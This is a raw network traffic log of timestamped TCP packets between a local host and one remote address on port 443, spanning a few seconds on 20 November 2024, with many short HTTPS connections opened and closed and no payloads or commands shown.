Nov 20, 2024 00:19:21.934880972 CET	49800	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.935118914 CET	49800	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:21.935137033 CET	443	49800	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.263530016 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.264095068 CET	49796	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.264117002 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.264573097 CET	49796	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.264578104 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.292447090 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.292877913 CET	49797	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.292907000 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.293338060 CET	49797	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.293344975 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.302933931 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.303397894 CET	49798	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.303420067 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.303813934 CET	49798	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.303818941 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.372981071 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.373049021 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.373095036 CET	49796	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.373600006 CET	49796	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.373613119 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.373624086 CET	49796	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.373627901 CET	443	49796	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.381679058 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.381712914 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.381963015 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.383136034 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.383150101 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.395396948 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.395544052 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.395608902 CET	49797	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.395679951 CET	49797	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.395679951 CET	49797	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.395704031 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.395726919 CET	443	49797	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.409161091 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.409250021 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.409308910 CET	49798	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.409497976 CET	49798	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.409502983 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.409523010 CET	49798	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.409526110 CET	443	49798	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.419337988 CET	49802	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.419354916 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.419543982 CET	49802	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.421077013 CET	49802	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.421087027 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.423633099 CET	49803	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.423661947 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.423712015 CET	49803	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.423825979 CET	49803	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.423835993 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.458899021 CET	443	49799	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.464632988 CET	49799	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.464664936 CET	443	49799	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.465208054 CET	49799	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.465219975 CET	443	49799	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.563426018 CET	443	49799	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.563513041 CET	443	49799	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.563571930 CET	49799	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.566812992 CET	49799	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.566843987 CET	443	49799	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.571027040 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.571058989 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.571114063 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.571628094 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.571640015 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.589679003 CET	443	49800	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.590409994 CET	49800	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.590441942 CET	443	49800	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.590922117 CET	49800	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.590931892 CET	443	49800	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.692938089 CET	443	49800	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.693012953 CET	443	49800	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.693058968 CET	49800	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.706671000 CET	49800	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.706692934 CET	443	49800	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.706707954 CET	49800	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.706713915 CET	443	49800	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.709758043 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.709804058 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:22.709945917 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.710194111 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:22.710221052 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.065414906 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.067044020 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.067065954 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.067388058 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.067395926 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.092215061 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.092710972 CET	49803	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.092731953 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.093259096 CET	49803	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.093266010 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.102502108 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.102924109 CET	49802	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.102948904 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.103948116 CET	49802	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.103957891 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.173281908 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.173302889 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.173346996 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.173362017 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.173446894 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.173489094 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.173752069 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.173765898 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.173774958 CET	49801	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.173779964 CET	443	49801	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.180753946 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.180774927 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.180843115 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.181118011 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.181127071 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.194607019 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.194756985 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.194991112 CET	49803	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.195019960 CET	49803	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.195035934 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.195044994 CET	49803	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.195050955 CET	443	49803	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.197748899 CET	49807	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.197782993 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.197845936 CET	49807	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.198061943 CET	49807	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.198079109 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.206625938 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.206698895 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.206880093 CET	49802	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.206917048 CET	49802	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.206917048 CET	49802	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.206932068 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.206942081 CET	443	49802	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.208890915 CET	49808	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.208923101 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.209029913 CET	49808	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.209163904 CET	49808	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.209177971 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.263731003 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.264399052 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.264421940 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.264898062 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.264904022 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.368957043 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.369419098 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.369432926 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.369879007 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.369884014 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.374008894 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.374033928 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.374078035 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.374099970 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.374232054 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.374284983 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.374332905 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.374346018 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.374356031 CET	49804	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.374360085 CET	443	49804	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.377388000 CET	49809	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.377427101 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.377491951 CET	49809	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.377650976 CET	49809	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.377660990 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.475589037 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.475616932 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.475692034 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.475704908 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.475938082 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.475943089 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.475960970 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.476329088 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.478070021 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.478070021 CET	49805	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.478086948 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.478095055 CET	443	49805	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.481303930 CET	49810	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.481353998 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.481404066 CET	49810	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.481688023 CET	49810	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.481702089 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.865835905 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.866348982 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.866374969 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.866806030 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.866863012 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.866869926 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.867106915 CET	49808	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.867119074 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.867471933 CET	49808	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.867477894 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.887478113 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.887886047 CET	49807	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.887901068 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.888231993 CET	49807	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.888237000 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.971906900 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.972839117 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.972901106 CET	49808	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.972965002 CET	49808	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.972965002 CET	49808	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.972979069 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.972985983 CET	443	49808	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.975275040 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.975291967 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.975372076 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.975379944 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.975526094 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.975533962 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.975542068 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.975672007 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.975703955 CET	443	49806	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.976267099 CET	49811	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.976288080 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.976293087 CET	49806	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.976356030 CET	49811	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.976758957 CET	49811	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.976767063 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.977396965 CET	49812	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.977430105 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.977523088 CET	49812	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.977655888 CET	49812	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.977675915 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.994755030 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.995223999 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.995282888 CET	49807	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.995357990 CET	49807	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.995357990 CET	49807	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.995372057 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.995379925 CET	443	49807	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.997373104 CET	49813	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.997395992 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:23.997558117 CET	49813	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.997699976 CET	49813	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:23.997710943 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.080797911 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.081372023 CET	49809	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.081382990 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.081829071 CET	49809	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.081834078 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.173044920 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.174035072 CET	49810	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.174048901 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.174324989 CET	49810	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.174329042 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.192939043 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.193006992 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.193057060 CET	49809	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.193300962 CET	49809	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.193312883 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.193321943 CET	49809	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.193325996 CET	443	49809	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.196271896 CET	49814	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.196309090 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.196639061 CET	49814	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.196696997 CET	49814	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.196712017 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.288803101 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.288935900 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.289016962 CET	49810	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.289208889 CET	49810	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.289208889 CET	49810	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.289230108 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.289238930 CET	443	49810	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.292090893 CET	49815	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.292133093 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.292334080 CET	49815	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.292431116 CET	49815	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.292450905 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.637083054 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.637531996 CET	49812	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.637550116 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.638055086 CET	49812	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.638061047 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.651150942 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.651727915 CET	49811	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.651750088 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.652432919 CET	49811	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.652436972 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.701128006 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.701733112 CET	49813	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.701766968 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.702385902 CET	49813	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.702398062 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.743568897 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.743761063 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.743832111 CET	49812	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.743949890 CET	49812	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.743949890 CET	49812	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.743964911 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.743973970 CET	443	49812	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.748311996 CET	49816	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.748356104 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.748442888 CET	49816	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.748663902 CET	49816	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.748681068 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.757917881 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.758685112 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.758739948 CET	49811	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.758817911 CET	49811	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.758836985 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.758846045 CET	49811	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.758850098 CET	443	49811	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.762038946 CET	49817	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.762062073 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.762120008 CET	49817	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.762341022 CET	49817	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.762350082 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.808559895 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.808927059 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.809020042 CET	49813	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.828579903 CET	49813	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.828594923 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.828603983 CET	49813	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.828608990 CET	443	49813	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.833092928 CET	49818	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.833142996 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.833249092 CET	49818	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.833472013 CET	49818	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.833492041 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.886050940 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.894171953 CET	49814	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.894182920 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.894689083 CET	49814	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.894695044 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.988092899 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.992764950 CET	49815	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.992791891 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.996212006 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.996386051 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.996469021 CET	49814	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.996973038 CET	49815	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.996978045 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.997179031 CET	49814	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.997179031 CET	49814	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:24.997198105 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:24.997206926 CET	443	49814	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.026484013 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.026523113 CET	443	49819	13.107.246.45	192.168.2.6
